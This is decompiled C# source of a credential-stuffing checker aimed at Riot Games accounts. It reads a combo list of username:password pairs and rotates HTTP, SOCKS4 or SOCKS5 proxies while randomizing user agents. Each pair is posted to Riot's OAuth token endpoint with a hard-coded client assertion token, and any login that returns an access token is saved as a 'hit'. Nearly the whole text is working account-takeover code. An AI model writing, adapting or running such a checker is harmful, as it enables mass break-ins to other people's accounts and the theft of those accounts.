// Token: 0x06000009 RID: 9 RVA: 0x00002574 File Offset: 0x00000774
 public static void Check()
 {
     for (;;)
     {
         if (CheckerHelper.proxyindex > CheckerHelper.proxies.Count <string>() - 2)
         {
             CheckerHelper.proxyindex = 0;
         }
         try
         {
             Interlocked.Increment(ref CheckerHelper.proxyindex);
             using (HttpRequest httpRequest = new HttpRequest())
             {
                 if (CheckerHelper.accindex >= CheckerHelper.accounts.Count <string>())
                 {
                     CheckerHelper.stop++;
                     break;
                 }
                 Interlocked.Increment(ref CheckerHelper.accindex);
                 string[] array = CheckerHelper.accounts[CheckerHelper.accindex].Split(new char[]
                 {
                     ':',
                     ';',
                     '|'
                 });
                 string text = array[0] + ":" + array[1];
                 try
                 {
                     if (CheckerHelper.proxytype == "HTTP")
                     {
                         httpRequest.Proxy = HttpProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                         httpRequest.Proxy.ConnectTimeout = 5000;
                     }
                     if (CheckerHelper.proxytype == "SOCKS4")
                     {
                         httpRequest.Proxy = Socks4ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                         httpRequest.Proxy.ConnectTimeout = 5000;
                     }
                     if (CheckerHelper.proxytype == "SOCKS5")
                     {
                         httpRequest.Proxy = Socks5ProxyClient.Parse(CheckerHelper.proxies[CheckerHelper.proxyindex]);
                         httpRequest.Proxy.ConnectTimeout = 5000;
                     }
                     if (CheckerHelper.proxytype == "NO")
                     {
                         httpRequest.Proxy = null;
                     }
                     httpRequest.KeepAlive            = true;
                     httpRequest.IgnoreProtocolErrors = true;
                     httpRequest.ConnectTimeout       = 5000;
                     httpRequest.Cookies    = null;
                     httpRequest.UseCookies = true;
                     httpRequest.UserAgentRandomize();
                     string str = string.Concat(new string[]
                     {
                         "client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&client_assertion=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOiJodHRwczpcL1wvYXV0aC5yaW90Z2FtZXMuY29tXC90b2tlbiIsInN1YiI6ImxvbCIsImlzcyI6ImxvbCIsImV4cCI6MTYwMTE1MTIxNCwiaWF0IjoxNTM4MDc5MjE0LCJqdGkiOiIwYzY3OThmNi05YTgyLTQwY2ItOWViOC1lZTY5NjJhOGUyZDcifQ.dfPcFQr4VTZpv8yl1IDKWZz06yy049ANaLt-AKoQ53GpJrdITU3iEUcdfibAh1qFEpvVqWFaUAKbVIxQotT1QvYBgo_bohJkAPJnZa5v0-vHaXysyOHqB9dXrL6CKdn_QtoxjH2k58ZgxGeW6Xsd0kljjDiD4Z0CRR_FW8OVdFoUYh31SX0HidOs1BLBOp6GnJTWh--dcptgJ1ixUBjoXWC1cgEWYfV00-DNsTwer0UI4YN2TDmmSifAtWou3lMbqmiQIsIHaRuDlcZbNEv_b6XuzUhi_lRzYCwE4IKSR-AwX_8mLNBLTVb8QzIJCPR-MGaPL8hKPdprgjxT0m96gw&grant_type=password&username=NA1|",
                         array[0],
                         "&password="******"&scope=openid offline_access lol ban profile email phone"
                     });
                     string text2 = httpRequest.Post("https://auth.riotgames.com/token", str, "application/x-www-form-urlencoded").ToString();
                     if (text2.Contains("invalid_credentials"))
                     {
                         CheckerHelper.bad++;
                         CheckerHelper.check++;
                         CheckerHelper.CPM_aux++;
                     }
                     else if (text2.Contains("access_token"))
                     {
                         Colorful.Console.Write(" [ + ] " + text + "\n", Color.MediumVioletRed);
                         CheckerHelper.hits++;
                         CheckerHelper.check++;
                         CheckerHelper.CPM_aux++;
                         CheckerHelper.SaveHITS(text);
                     }
                     else
                     {
                         CheckerHelper.accounts.Add(text);
                     }
                     CheckerHelper.err++;
                 }
                 catch (Exception)
                 {
                     CheckerHelper.accounts.Add(text);
                 }
             }
             continue;
         }
         catch
         {
             Interlocked.Increment(ref CheckerHelper.err);
             continue;
         }
         break;
     }
 }